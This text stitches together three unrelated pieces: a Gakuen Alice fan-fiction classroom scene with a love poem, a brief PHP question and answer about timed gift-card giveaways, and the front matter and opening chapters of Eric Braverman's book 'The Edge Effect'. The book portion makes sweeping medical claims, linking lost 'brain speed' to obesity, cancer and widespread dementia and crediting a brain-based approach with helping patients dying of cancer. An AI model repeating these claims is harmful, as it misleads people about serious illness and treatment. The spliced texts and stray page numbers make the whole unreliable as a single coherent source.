"Why am I not surprised?" Narumi looked to the back of the room. "Hyuuga, your report seems to be missing a couple of hundred lines."
"You said I can pass a single sentence," Natsume responded calmly.
"That was four years ago!" Narumi said in exasperation. "You need to stop holding me to that at some point."
"Hn."
"And what kind of a sentence is that?" Narumi demanded. "You just told me in a refined way that, 'You're not doing this stupid project'."
"You got it."
Narumi was starting to think he should've opted for Natsume walking out. In any case, when the pause stretched, Natsume closed his manga and laid it on the table. His bland expression was extremely irritating.
"Do you want to hear it read out loud?"
Narumi was startled then gleeful. "You'll read to the class?"
"No, not me," Natsume said shortly. He jabbed a thumb to his right. "Ruka will."
"I will?" Ruka said blankly. He narrowed his eyes at his best friend. "Dude, you need to start doing your own homework."
"It's on page fifty-six, Ruka," he answered.
"Come on, Nogi," Hotaru smirked. "We're waiting."
"You heard Imai."
"Go on Ruka," Mikan spoke encouragingly. "We'd love to hear you read." Then there were more calls for him to start reciting to the class, which Mr. Narumi didn't stop. After all, there was no point trying to convince Natsume to read the piece.
"Class bully," Ruka grumbled to his friend. He flipped through his book then found the piece. He stood up. "The whole thing?"
"For the full effect," Natsume snickered.
Ruka drew a breath. He coughed once then read, "I choose to love you today…" He stopped suddenly. His eyes swept over the page then he glanced at Natsume who said nothing. He had a feeling he knew what this was about. He started again.
I choose to love you today, because you are imperfect
And you are difficult to love
I see your faults, know them and accept them
For that is all that I could do today
I choose to love you today, because you are neglectful
And you fail to notice my efforts
I know you are occupied and I stand here and watch
For to wait is what I can do today
Ruka paused. He didn't look up from the page. He shifted his book to his other hand then continued slowly, speaking with care.
I choose to love you today, because you are unworthy
And there are others who care better for me
But I hear words you haven't spoken and so I stay
For patience is what you need today
This time he glanced up. When he was certain his girlfriend wasn't looking back at him, he shifted his ironic, almost accusing, gaze to Natsume before finishing.
I choose to love you today, because I too,
am imperfect, neglectful and unworthy
But you choose to love me
Everyday
And that's all that I would ever ask of you
Ruka closed his book. His face was red by the time he reached the last line. He looked at Natsume again. "When read… by me… yeah, I get it. Dork." He sat down.
"No, I'm good," Ruka muttered, sinking in his chair. Hotaru didn't comment either and she was facing the front of the room so it was hard to tell what she was thinking. But then, that was nothing new.
The lunch bell rang and people immediately gathered their things. Hotaru reached the door first and to Ruka's disappointment, she didn't glance back. Narumi began calling out reminders.
"Okay guys, that pretty much wraps up this half of the semester. We'll be talking about term projects next week." He made notes in his class book. "Papers should be in my pigeonhole by midnight, angst-ridden blog entries cannot be submitted as self-discovery essays and if anyone tries to pull what Natsume did here this morning, they'll be getting detention."
Kitsuneme snorted as people started filing out of the room. "It's not like anyone else can."
"Yes, I suppose, Natsume is the only one who could bully someone into an oral report."
"You assigned Natsume poetry," Wakako said as though they all understood and it was the teacher being slow on the uptake. "And it's a love poem. What were you thinking?"
"Well, pardon me," Narumi said dryly. "I had no idea I had a restriction like that."
"Why do you let Natsume get away with it?" Mikan wondered.
Narumi smiled as he ushered them out the door. "Well, I like to think he has some higher purpose for the things he does. It almost always works out that way anyway, because deep down, stone-heart Natsume is just a big softy."
"I heard that."
"As you were meant to, my boy."
"It's funny Hotaru didn't try to shoot Natsume or something," Nonoko commented as their group stepped out to the corridor to head for the dining hall.
"That's mutual respect right there," Kitsuneme quipped.
"Ruka," came Hotaru's voice and they all turned at once. If she was uncomfortable with the attention, it didn't show. She ignored the different looks on her friends' faces and looked directly at her boyfriend. "Lunch?"
Ruka smiled. "Yeah."
Mikan practically jumped in delight while Mochu and Koko exchanged a high-five. Ruka hit Natsume lightly at the back of the head when he passed by to join his girlfriend. The two of them walked off. That was all the information they were going to get on that front because Ruka and Hotaru liked keeping things low-key. In any case, it didn't look like they would be joining the gang at the table.
The rest of them slowly followed. Natsume hung back from the group, watching Ruka and Hotaru talking. He rolled his eyes then decided he did okay. In fact, that plan turned out better than he expected.
"Capital work, Hyuuga," Narumi remarked as though he read his thoughts. Natsume didn't realize that the teacher hadn't left either.
He shrugged. "So you said."
"As always, thank you for making a mockery out of my class."
"My pleasure."
The teacher sighed heavily, "But you know, this might be difficult to explain in the grade sheet. You really do need to stop handing in one-line essays." |
Q:
How to create an interval of times in PHP based on a start time?
I'm wondering how given a start time, I can calculate a series of time spans in intervals and execute code during that time.
For example: I start at 3:30pm and have 4, 45 minute intervals that need to be calculated based on the start time. Then between 3:00pm and 3:45pm I want to be able to check if the current time is between that span and then execute a block of code if it is.
The gist: A company wants to give out 20 gift cards during a 3 hour span. They want to give out only 5 every 45 minutes.
Any thoughts would be appreciated.
A:
As Walkerneo said, the best way to do this is to use a cron job on the server and maybe store the data for the gift cards in a MySQL that will be checked when the cron runs the php with the funcions...
The other (very bad way) to do this is keep a loop inside your php file to check if it's time to give out the gift cards, but this is a VERY VERY BAD idea because of the high CPU usage in the server...
If you want to give the the gift cards when the user opens a page or buys something, it's easy, just setup a table in MySQL with the time spans where the user can get the gift cards and then when we submits the form to buy or check it's PHP should go the table and check if you're in any of the time spans.
Hope it helps...
|
PRAISE FOR
THE EDGE EFFECT
"When I think 'brain,' I immediately think of my friend and colleague Dr. Eric Braverman. His new book is a must for practitioners, patients or anyone who wants to improve their brain health naturally. Finally we have a definite book that tells us exactly how to prevent and treat Alzheimer's, improve memory and concentration, treat and prevent anxiety and depression, and more."
_—_ Dr. Shari Lieberman, nutrition scientist, exercise physiologist,
and author of _The Real Vitamin & Mineral Book _
"Health is care. We start with the brain and everything else will heal accordingly. Dr. Braverman has the key to this. This book is important for the planet to heal. Everyone with a brain must buy this book."
—Ben Vereen, actor
"Dr. Eric Braverman uniquely combines...a new and creative approach to medicine. Dr. Braverman teaches that brain health can be both monitored and measured and that such analysis is the key to unlocking every individual's health."
_—_ David J. Steinberg, Ph.D, president,
Long Island University
"Dr. Braverman's...approach to the aging of the brain is unique. So much so that we have incorporated its message into our curriculum....He is a rare doctor of great vision and insight."
_—_ Ronald Klatz, M.D., president, American Academy of
Anti-Aging Medicine
"Dr. Braverman's connection of the brain's role in all illness, and in maintaining good health, is an outstanding contribution to medicine."
_—_ Dr. Jay M. Holder, Laureate, Albert Schweitzer Prize in Medicine
"At a time when the U.S. population is aging...[Eric Braverman's] findings bode well as a valuable prognostic tool for brain impairment."
_—_ Ernest P. Noble, Ph.D., M.D., Former Director of NIAAA
(division of NIH), Professor of Psychiatry, UCLA
"QEEG (BEAM mapping) is well accepted in the medical community and issued to assist diagnosis in medicine. It is an important objective measure of organic or physical brain dysfunction."
_—_ Robert W. Thatcher, Ph.D., Professor of Neurology and Radiology,
Department of Veterans Affairs
The
EDGE
EFFECT
ACHIEVE TOTAL HEALTH AND
LONGEVITY WITH THE BALANCED
BRAIN ADVANTAGE
ERIC R. BRAVERMAN, M.D.
An Imprint of Sterling Publishing
387 Park Avenue South
New Yourk, NY 10016
STERLING and the distinctive Sterling logo are registered trademarks of Sterling
Publishing Co., Inc.
Published in paperback in 2005 by Sterling Publishing Co., Inc.
387 Park Avenue South, New York, NY 10016
© 2004 by Eric Braverman, M.D.
Illustrations on pages ♣, ♦, ♥, ♠, †, ‡, Δ, ♠, ♥ and ◊
© 2004 by Sharon & Joel Harris / illustrationOnline.com
Illustrations on pages ♠, Δ, † and ♥ © John Ueland
_All rights reserved_
ISBN 978-1-4027-9633-3 (ebook)
Sterling eBook ISBN: 978-1-4027-9633-3
For information about custom editions, special sales, premium and
corporate purchases, please contact Sterling Special Sales
Department at 800-805-5489 or [email protected].
The programs described in this book are based on medical research and neuroscience, but they are not a substitute for personalized medical care and advice. Always consult with a qualified health-care professional in matters relating to your health, especially those that may require a diagnosis or immediate medical attention. If you are currently taking medication, consult with your physician regarding possible modification of this program to meet your specific needs.
This book concerns various medical issues relating to the brain, among which is Alzheimer's disease. This particular syndrome is very difficult to diagnose accurately. Although this book sometimes refers to Alzheimer's disease specifically, we are using this term to cover many forms of dementia or waning cognitive functionality.
TO MY PARENTS, Herman J. and Vivian Braverman, who raised me to appreciate the vital role of health and well-being in living an abundant life. And to my mentors, the late Clark Thorp Randt, M.D.; Carlton Fredericks, Ph.D.; Carl Pfeiffer, M.D., Ph.D.; and the late Robert Atkins, M.D. Without their guidance, brilliance, and innovative ideas, my own quest for total health medicine would not have been possible.
CONTENTS
ACKNOWLEDGMENTS
INTRODUCTION
PART I: UNDERSTANDING THE EDGE EFFECT
1. MEET YOUR BRAIN
2. ARE YOU LOSING YOUR EDGE ?
3. WHICH NATURE ARE YOU ?
PART II: RECOVERING YOUR EDGE
4. THE POWERFUL DOPAMINE NATURE
5. THE CREATIVE ACETYLCHOLINE NATURE
6. THE STABLE GABA NATURE
7. THE PLAYFUL SEROTONIN NATURE
PART III: BALANCING YOUR BRAIN IN SICKNESS AND HEALTH
8. THE BRAVERMAN PRESCRIPTION
9. HEALING SPECIFIC SYMPTOMS AND CONDITIONS
10. IMPROVING YOUR MEMORY
[11. BENDING YOUR PERSONALITY: EXPERIENCING
THE FULL EDGE EFFECT](R_9781402796333_epub_c37_r1.html#d7e16)
12. MASTERING THE EDGE EFFECT FOR LASTING HEALTH
INDEX
ACKNOWLEDGMENTS
FOR MY BELOVED wife, Dasha, who has been my inspiration, my love, and my comfort. Thank you for your enduring faith in me.
I am very grateful to my colleagues who have been invaluable supporters and insightful critics of my work, including Gary Null, Ph.D.; Tatiana Karikh, M.D.; and Alison Notaro, M.A. I also want to thank my mentor, Rodolfo Llinas, M.D., Ph.D., who taught me the value of the Edge. I would also like to mention Kenneth Blum, Ph.D., my scientific father and co-author on fifty research papers; Nora Volkun, M.D.; Ernest P. Noble, Ph.D., M.D.; John Polich, Ph.D.; and Orrin Devinsky, M.D., who are all integral to my development as a scientist.
Many fine physicians and scientists have helped shape my work, including Vincent Giampapa, M.D.; Ron Klatz, M.D.; Robert Goldman, M.D.; Ed Lichten, M.D.; Denise Bruner, M.D.; Ron Rothenberg, M.D.; Michael Klentz, M.D.; Nash Boutros, M.D.; Robert Thatcher, Ph.D.; John Morgan, M.D.; Norman Sussman, M.D.; Titus Parker, M.D.; Daniel Amen, M.D.; Steven Sinatra, M.D.; Shari Lieberman, Ph.D.; and Thierry Hertzog, M.D. I thank them all for their invaluable contributions. I am also deeply indebted to Dasha Braverman, B.S., RPA-C, founder and director of the Rainbow Wellness Center, LLC, for her guidance, direction, and development of all the nutrional information regarding brain-healthy diets used in this book.
I am extraordinarily fortunate to have a gifted team of medical and administrative people who have helped translate my ideas into successful patient care: Paul Popkin; Ida Feit; Anish Bajaj, D.C.; Jackie DiMaria, RPA-C; Javier Carbajal; Eugene Perepada; Maja Kamber; Yelena Spivak, RPA-C; Yana Mazy, RPA-C; and Brad Bongiovanni, N.D. Your skills are unsurpassed.
I would also like to thank my staff members, whose loyalty and dedication to helping my patients cannot go unheralded: John Pillepich, M.S., Susan Kaplysh, Marta Kowalewska, Josephine Fileccia, Henry Weisberg, Volette Rodriguez, Dennis Kalevas, Xudong Fu, Tanya Perepada, and Aida Bicic. You have all contributed to making our practice, PATH Medical, what it is today.
I offer special thanks to everyone who has helped in the creation of this book. Special thanks to my agent, Carol Mann, for putting together such a great team. Bruce Scali, Robin Dellabough, and Peter Guzzardi were all important to refining the manuscript. Pam Liflander's unique literary skills and insight helped me bring my ideas to these pages. Deep gratitude goes to Steve Magnuson, who showed great faith in me, and to his many talented colleagues at Sterling Publishing, including Charles Nurnberg, Andrew Martin, Rick Willett, Ronni Stolzenberg, Karen Nelson, and Rena Kornbluh. And I will forever be indebted to Len Riggio. Len, thank you for giving me hope, inspiration, and guidance throughout the process of bringing this book to publication.
And finally, to my patients, the greatest teachers of all, for providing me with the material for writing this book—God bless you all!
INTRODUCTION
ONE OF THE indisputable facts of human anatomy is that the head is attached to the rest of the body. Yet, when the time comes to seek treatment for a medical condition or symptom, many doctors seem to forget all about the head, and the brain that it houses. I strongly believe that they are wrong.
Today scientists and doctors are just beginning to uncover the mysteries that lie deep within the brain, at a great new frontier of medical research. Medical care is finally moving away from the model of treating symptoms solely as they relate to individual organs and body systems and is beginning to look at the whole human body as one living system. In this holistic model every part is important, but the brain is king among kings.
As a doctor who has been focusing on brain research and treatment for more than twenty-five years, I know from firsthand experience that when your body is not working properly, the first place to look is your brain. The brain controls the body's health. Every day millions of people are diagnosed with a host of ailments ranging from headaches to insomnia, depression, obesity, heart disease, and even cancer without taking brain health into consideration. Yet in all but those rare cases where genetics is undeniably trump, your brain plays a critical role.
Twenty years ago, when I was a medical student poring over brain cells in petri dishes and researching the electrochemical nature of the brain, my work took place far off the beaten path, largely ignored by mainstream medicine. But today I'm marginalized no longer. Today a new generation of physicians and researchers is deeply involved in what I began to see back then: the brain holds the key to living a long, healthy, happy life.
The human brain is both exceedingly complex and remarkably simple. It has the power to send energy along billions of connections, evoking a sense of self that is capable at one moment of admiring the beauty of a rainbow and at the next of flying into a murderous rage. For years I've been presenting research papers on brain function as it relates to health to scientists, physicians, and scholars from around the world. Every year the size of these meetings increases exponentially, so I know interest is growing.
I've been passionate about brain research my entire medical career. When I was a medical student I was fortunate enough to meet Dr. Carl Pfeiffer, founder of the Princeton Brain Bio Center. Dr. Pfeiffer was a pioneer in his conviction that most psychiatric problems were caused not by emotional factors such as early childhood experiences but by brain chemicals. He proved that toxic metals could drastically affect the brain's chemistry, causing both mental and physical illness. I was so intrigued by Dr. Pfeiffer's research that I offered to join his team as his research assistant. Within a few weeks I knew that I would dedicate my life to exploring the role of brain chemistry in healing. I continued this work at Brandeis University and Harvard Medical School.
After earning my medical degree at New York University Medical School, I continued to study the brain at the Atkins Center and the Princeton Brain Bio Center. Dr. Pfeiffer had attributed some psychological complaints and hypertension to diet, based on brain-related nutritional studies conducted at the Bio Center. My interest piqued, I expanded on this line of inquiry, looking at conditions such as diabetes, obesity, and hypertension, as well as normal stages of maturation such as menopause, which contribute to so many other health problems.
During my medical training I realized that there was more to healing than conventional approaches. As I began to study Eastern medicine, I saw firsthand the healing abilities of herbs, and the power that the mind and the spirit could exert over the body. As I looked deeper into various traditional practices, I found more evidence of their effectiveness, and I became convinced that this softer approach had to be incorporated into a Western medical strategy.
By 1988 I had completed my formal medical education and training and had studied widely in alternative medicine. I was determined to bring everything I had learned to bear on treating people, but I wasn't sure how all the pieces fit together. Every avenue I explored had merit, but each one seemed compartmentalized: the Bio Center concentrated on the brain to the exclusion of the rest of the body; natural remedies and a healthy lifestyle had demonstrable benefits, yet in cases of serious illness there was still a need for the high-powered interventions of conventional medicine. I found myself searching for a way to gather everything I had learned under the auspices of one universal schema that could serve as the basis for all medical care.
**THE SCIENCE OF THE EDGE EFFECT**
While I was searching for this grand solution, I met a celebrity who had recently undergone bypass surgery. As I listened to him, I realized that he wasn't getting his thoughts across as quickly as he used to on television; it seemed that his whole personality had slowed down. As an abstract matter, I knew that bypass surgery slowed brain speed by ten milliseconds. All of a sudden I realized that the man had lost his edge: his thinking was simply not as sharp as it once was, even though his medical problems seemed to stem from his heart, not his brain. This, I felt, might be the doorway to that elusive universal principle.
Looking deeper, I began to focus on the concepts that led to this book, ideas first brought to the medical forefront by Rodolfo Llinas, M.D., Ph.D., a world-renowned researcher of brain function and my mentor at NYU Medical School. Dr. Llinas was able to articulate a blueprint for the brain-mind-body connection, showing that brain biochemical imbalances could cause disease. He called this concept the Edge Effect. He also demonstrated how electricity in the human body reaches the brain and is processed through four biochemical neurotransmitters: dopamine, acetylcholine, GABA, and serotonin.
Today we know that good health requires that for any given body function, all four neurotransmitters must be processed in a specific order and in precise amounts. The Edge Effect amplifies small electrical imbalances into bigger health problems. The slightest deviation in the brain's activity can be felt in the body, and small electrical imbalances can become amplified into bigger health problems. Your brain chemistry can also become unbalanced when your brain is unable to process electrical cues correctly, which leads to one or more of the neurotransmitters becoming deficient. These deficiencies directly lead to decreased physical and mental health.
Dr. Llinas's groundbreaking research inspired me to approach his findings from a clinical perspective. While research scientists are always looking to understand why the body fails, as a doctor I'm looking first to heal, then to prevent illness, and ultimately to create abundant health over a long life span. To my mind, the Edge Effect could be viewed as having a full-spectrum impact. On one hand, it had become clear to me that biochemical deficiencies in the brain led to poor health. On the other, a balanced brain not only could restore you to good health but also was essential to maintaining a sound mind and body over the long haul. I had found the object of my search: a universal connection between mind and body, between the medicines of East and West.
I also believe that the Edge Effect can go even farther. If you enhance your brain chemistry, you can reach new personal heights. The Edge Effect can actually lead you into a state of physical and emotional bliss, where you reach a peaceful Zen mind, a power zone in your body, and a spiritual pinnacle for your soul. When you are at your physical and mental best, you are experiencing the positive side of the Edge Effect. This sharpness is the mark of a balanced brain that enables us to love others, remain calm, and effectively put our intelligence to its best possible use.
**THE FOUR DOMAINS OF HEALTHY BRAIN FUNCTION**
The Edge Effect can be used as a powerful tool to manage the four great domains of brain health: memory, attention, personality and temperament, and physical health.
One measure for memory and attention is the speed at which the brain processes information. This is influenced by all four neurotransmitters, but especially by acetylcholine. A normal brain processes a thought at a speed of 320 milliseconds, or roughly one third of a second. Each person's brain processes information much like the wave you might participate in while sitting in the stands of a football or baseball game. In this analogy each person in the stadium represents a single cell in the brain. As he jumps to his feet and lifts his hands above his head, he passes the information along. If the timing is off, the wave in the stadium eventually breaks down. In your brain, if the cells cannot smoothly pass along information, brain speed slows, and your health and memory capacity begin to fade.
_The Four Lobes of Brain Function in the Memory Domain_
The difference between a resourceful mind and senility is only one hundred milliseconds of brain speed, which means you have fewer than a hundred milliseconds to lose over the course of your life. A human being reacts to light in fifty milliseconds, processes sound in one hundred milliseconds, and thinks in three hundred milliseconds. By the time our thinking is slowed to four hundred milliseconds, we can no longer process logical thoughts. When the brain slows down, which typically happens around the age of forty, we start to lose our edge. Unfortunately, while science has dramatically extended our life span in many cases, this gift will have little value if we can't think clearly or maintain our brain health.
A massive number of Americans are losing seven to ten milliseconds of brain speed per decade beginning at age forty. This sets in motion learning disabilities and neuropsychiatric problems as well as seemingly unrelated medical problems throughout the body. These medical, neurological, and psychiatric conditions related to loss of brain speed can cascade into obesity, anxiety, depression, psychosis, multiple sclerosis, and Parkinson's disease; 50 percent of Americans will have developed some degree of impairment from dementia or Alzheimer's disease by age eighty, and 80 percent will do so by ninety. Fortunately, most of these diseases are preventable once you learn to keep your brain in top condition.
Each of us has one dominant neurotransmitter. After taking the quiz in Chapter 3, you'll discover which neurotransmitter you are dominated by and where you may be deficient. By correcting these deficiencies and augmenting neurotransmitter production appropriately, you will naturally become a healthier and happier individual. Strong, lasting relationships will come to you more easily, and you will be able to improve every facet of your personal and professional life.
Since the majority of symptoms that cause us to seek medical attention involve a slowing of brain function or actual pauses in that function, the best way to fix the body and prevent disease is by addressing brain chemistry. If you already have a medical condition, you can stop it from worsening by restoring your brain health. For example, restoring deficient neurotransmitters to an unbalanced brain can revitalize other organs that are aging prematurely; left unchecked, their deterioration can lead to such varied conditions as diabetes, irritable bowel syndrome, gastrointestinal issues, sexual dysfunction and impotence, and even hypertension.
**THE PATH MEDICAL APPROACH**
Since the body functions in a holistic way, it makes sense to me that the best primary care should connect all types of treatment. About ten years ago I established a private medical practice called PATH Medical Services and Research Foundation—the Place for Achieving Total Health. I like to think of it as Eastern philosophy meeting Western technology on a new path to brain wellness. At PATH, we consider the whole body when formulating a treatment plan. We use established treatment protocols, both conventional and alternative, in tandem. By merging internal medicine and neuropsychology, this new form of medical care treats your brain, your mind, and your body as one entity.
My patients receive a definitive diagnosis, starting with a thorough examination of the brain, using the most advanced medical equipment. Over the past twenty years I have treated over ten thousand patients using my brain-based treatment protocol. I've watched patients with severe depression and problems with rage completely turn their lives around. Every day my office successfully treats common conditions such as insomnia, anxiety, exhaustion, infections, headache, high blood pressure, obesity, and attention deficit disorder. I have seen an Alzheimer's patient who couldn't even speak both recognize and greet me after consistent treatment. I've had patients close to death from cancer who have been helped by this brain-based approach.
My not-for-profit organization, the PATH Foundation, brings together nationally recognized medical experts to create a new agenda for public health. Our research confirms that brain electrical chemical imbalances contribute widely to the collapse of health. Americans currently spend more than $100 billion annually on treatment of various addictions, neuropsychiatric problems, obesity, and Alzheimer's disease. The brain health checkups described in this book are vital to preventing brain chemical imbalances from destroying both the health of Americans and the besieged medical establishment that supports it.
**BRAIN DOMINOES**
The first step on the road to health is to recognize that you are in fact unwell. The body is known to react to many illnesses with a domino effect, where one small change can affect the workings of the entire body. In most instances, I see that first domino falling as a result of brain imbalance.
For example, a simple change in the brain chemical dopamine can cause your feelings of hostility and anger to increase. As your stress levels go up, your cardiac muscles strain and blood pressure increases as well. Eventually you become so wound up that you begin to burn up a second vital brain chemical, serotonin, which leads to insomnia. And when serotonin levels fall, your carbohydrate cravings go up: you eat more, you gain weight, and your kidneys begin to strain under the heavier workload. From this point, the downward spiral due to obesity takes over: your heart can become enlarged and your liver fatty, which can lead you down the path to a stroke, a heart attack, or even cancer.
Depending on which brain chemicals are affected, the direction of the domino chain can change. The common thread in all cases is that seemingly unrelated symptoms are actually caused by a brain chemical imbalance. To prevent the brain domino effect, to manage your symptoms so that you can effectively stop playing dominoes altogether, you need to balance your brain chemistry.
**PROGRAMS FOR BRAIN HEALTH**
This new book is an open door into my medical centers, so that everyone who reads it can benefit from our treatment programs and research. _The Edge Effect_ is quite simply the brain's user manual, taking research into brain biochemistry out of the lab and placing it at your service in everyday life. By sharing what I've learned, I am handing you the secrets of the Edge Effect, which not only will make you feel better now but will also allow you to taste the ultimate in mental and physical health—an experience I call the Ultimate Edge. This goal is attainable for all of us.
First and foremost, this book is about prevention. You can keep your brain young and thriving by maintaining total body—and brain— health. Total brain health begins with a proper diet, an exercise program, and supplementation as needed. Prevention also means detecting problems early on by learning to recognize the earliest and most subtle shifts in the balance of your health.
_The Edge Effec_ t gives you all the tools you need to feel better, stay healthy, and identify the early symptoms of brain imbalance. This book is a straightforward guide to the anatomy, chemistry, electricity, and psychology that provide the building blocks of your day-to-day experience. You'll learn how your body functions and discover successful treatments that you can administer yourself. What's more, you can use this information to live better now.
In these pages I propose an alternative to the illness-, surgery-, and drug-based models of health care. Instead, you'll find a proactive, brain-xvi based, early-assessment program that helps you avoid major health problems by treating minor ones. You will learn how to:
• Understand your unique strengths—and see how to reinforce them
• Identify your body's weaknesses—and discover how to improve them
• Monitor your health—and learn how to restore it
**STRUCTURE OF THE BOOK**
Part I focuses on identifying how the brain works, and why maintaining your edge is so important. You will learn about vital brain biochemicals and be able to ascertain whether your brain is balanced or unbalanced. More important, you will learn which of the four biotemperaments (which I call natures), based on your primary neurotransmitter, best describes you, and discover if you are experiencing any of the earliest warning signs that can lead to changes in your memory, attention, and mental or physical health.
Part II presents information specific to your own brain type. You'll discover how your brain chemistry creates the person you truly are and find specific recommendations for honing your edge through medications, hormones, diet, exercise, vitamins, and lifestyle changes based on your brain temperament. Finally, you will master the Edge Effect by selecting unique ways to relax, excite, or maintain your brain chemistry.
Part III addresses specific ailments in terms of brain health and matches them with likely treatments or solutions. In this section you will learn how to manage your current health issues and implement my recommended treatments while working with your own physicians. You will be armed with a program that will enhance your memory and attention by working within the context of your particular brain nature. You will also learn how you can bend your personality and improve your relationships with others simply by changing your biochemistry.
Everyone's brain gets a little out of kilter every now and then. With the tools in this book, you'll be able to get your health back on track. Once that's taken care of, you can begin to experience boundless joy and endless well-being in all aspects of your life.
PART I
UNDERSTANDING THE EDGE EFFECT
1
MEET YOUR BRAIN
IF ONE ORGAN differentiates humans from the rest of the natural world, it is the brain. Not so long ago intelligence was thought to be a factor of brain size. Elephants, thanks to ten-pound brains, were said to be so smart that they would "never forget." Birds, on the other hand, were thought to be less highly evolved because of their tiny brains (and we still disparage some people by calling them "birdbrains"). Now we know that humans have by far the most dynamic and highly evolved brain, even though it weighs a mere three pounds. Clearly, size doesn't matter.
It can also be said that brain function remains the most distinctively human quality. Almost all the other organs in the human body are replaceable and fixable, and often animals possess better versions of them. However, only in humans is the brain superior—which is all the more reason to put the Edge Effect to work by mastering the key to the health of our bodies and minds.
To truly understand how our bodies function and how to improve our capabilities, we need to start with an appreciation of how the brain works. Bear with me as we review the basics of brain function. The path to wellness begins with the smallest genes, which signal the brain to create chemical reactions that result in electricity traveling throughout your anatomy. Ultimately, your brain chemistry influences the four major domains of health: memory, attention, temperament and personality, and physical well-being.
_Right Side of the Brain_
**FROM GENES TO ELECTRICITY:**
**DECODING THE BRAIN**
For all that we humans tend to emphasize our differences, biologically speaking we are truly the same. The proof is in our DNA: the human genome sequence is more than 99.9 percent the same in all people. However, that 0.1 percent difference is all it takes for some of us to be healthy and others ill, some tall and others short, some quick-witted and others dull.
While DNA codes our behaviors and physical functions, it is not at the heart of what makes each of us unique. Our DNA is only as good as the transport system it creates for the transmission of information. That system relies on electricity. Just as you need a battery to start your car, the human body relies on electricity to stay alive. It is the literal spark of life, which energizes the body and creates our consciousness.
**DEFINING THE EDGE EFFECT**
Think of your brain as interfacing with your body, in much the way an electrical outlet functions inside the wall of your home. When you want to turn a light on, you plug in a lamp, and the electricity transfers from the house's circuitry into the lamp. In much the same way, the brain sends an electric current throughout your entire body, fueling your internal systems while maintaining your personality and orchestrating your health.
The connection between the outlet and the plug, or between the brain and the body, is one aspect of what I call the edge: it is the exact point where the brain and the body come together. When our edge fails, we fail. When it works, we function harmoniously. By mastering the Edge Effect, you can control the brain's signals to the rest of the body through changes in brain chemistry, intervening at the very place where brain information is transferred, ultimately allowing you to manage illness now and create abundant health later.
**THE ELECTRICAL EDGE**
The brain is the greatest generator of electricity within the body. We use four measurements to determine the relationship between brain function and the creation and delivery of human electricity to the rest of the body: voltage, speed, rhythm, and synchrony.
**VOLTAGE**
Voltage measures power, or the intensity with which the brain responds to a stimulus, which in turn affects the brain's ability to process that piece of information. This information can be cognitive as well as physical. For example, voltage determines your metabolism and the various states of consciousness, ranging from fully alert to deep sleep. Without proper voltage, you literally slow down and develop a dull edge to your actions as well as your personality.
**SPEED**
The brain's electricity runs through the body at sixty cycles or beats per second. Thinking occurs at two to three beats per second. The speed of your brain is based on how quickly these electrical signals are processed. This rate determines your brain's real or functional age, which might be very different from your chronological age. By increasing your brain speed you can improve memory, attention, IQ, and even behavior. When your brain speed slows, you can become forgetful and feel like you are losing your edge.
**RHYTHM**
A balanced brain creates and receives electricity in a smooth, even flow. By contrast, when electricity is generated in bursts, it is called arrhythmia, and it signifies the beginning of brain dysfunction. Rhythm determines how you handle life's stresses. When your rhythm is off, you might feel like you are getting edgy: this might make you feel anxious, nervous, or irritable.
**SYNCHRONY**
Electricity in the brain can be seen in the form of brain waves. There are four types of brain waves, each providing us with a level of physical as well as mental consciousness. The first type is called _beta,_ which travels at a rate of twelve to sixteen cycles or pulses per second. When your brain is transmitting beta waves, you feel alert. The second type is called _alpha,_ and travels at a rate of eight to twelve cycles or beats per second. When your brain is transmitting alpha waves, you feel creative. The next type, _theta_ waves, travels at a rate of four to eight cycles or beats per second. When your brain is transmitting theta waves, you begin to feel drowsy. Last are _delta_ waves, which travel at a rate of one to four beats per second. When your brain is transmitting a predominance of delta waves, you are at some level of sleep.
Whatever your state of consciousness, these four brain waves always appear in combination. Synchrony occurs when the four brain waves are balanced throughout the day. At night, our brain heals itself from the day's traumas by synchronizing the output of the four brain waves. If these brain waves are out of sync, then you might feel like you are going off the edge—you are not getting restful sleep, your mind wanders, and your personality is out of control.
**IT ALL STARTS WITH A NEURON**
The brain is able to coordinate your movements, control your breathing, and let you feel hunger, pain, sadness, and happiness through the electrical charges we've been discussing. However, this electricity is useless without the path on which it travels. Your brain activity begins with a stimulus: a thought, or input from any of the five senses. When the information from this thought or your sensory nerves reaches your brain, your brain sends messages of its own down to the body. All of the signals going to and from your brain travel through your spinal cord. Together, the brain and spinal cord make up the central nervous system.
_Neuron_
The smallest components of the nervous system are special cells called _neurons_. Each of us is born with one hundred billion neurons, and we continue to produce them throughout our lives. Every neuron has a nucleus, which contains the genetic material of the cell; dendrites, the branchlike extensions of the cell that receive messages; and the axon, a long extension that carries nerve impulses away from the body of the cell. Each neuron takes on a specific task, yet every neuron transmits information in the form of an electrical current.
Each neuron has thousands of dendrites that connect to other neurons to create your body's electrical network. Neurons come extremely close to one another but do not touch. The space between them is called a synaptic gap. Each of us has over one hundred trillion of these neuron-to-neuron gaps, or synapses. The axon of a neuron uses neurochemicals to cross this synapse and connect with the dendrite of another neuron. This connection is part of the circuitry of the brain, allowing that electricity to pass continuously through the neurons.
The flow of electricity is provided by the brain's biochemicals moving across the synapses to various receptor sites. These receptors are like fingers in a glove, each one fitting only one part of your hand. As specific pieces of these biochemicals lock into place, your brain directs how your body and mind function. The brain's biochemicals transfer electricity, which then sends energy and information to the rest of your body.
**BIOCHEMICALS:
THE BRAIN'S DELIVERY SERVICE**
The brain and body function optimally when each neuron is correctly programmed to produce, send, and receive a specific biochemical. Each biochemical travels along a different path, resulting in a variety of physical processes. The free flow of these chemicals is the key to our well-being: if there is excess, the synapses become flooded and signals can't wade through to the next neuron; if there is a deficiency, the nerve signals might have nothing to travel on. Other parts of the body will react to these biochemical excesses and deficiencies by overworking or shutting down, leading to physical illness or mental instability.
The four primary biochemicals that define each of us are:
• Dopamine
• Acetylcholine
• GABA
• Serotonin
Together, these four chemicals make up the brain's code, much like the four base chemicals found in pairs on a DNA strand. Each biochemical creates unique electrical patterns that are transferred as brain waves. Studying individual brain waves and the relationship of brain waves to each other provides the information we need to explain the various physical and mental symptoms we experience, and then match them with a particular biochemical imbalance.
**BRAIN STRUCTURE: ABOVE THE EDGE**
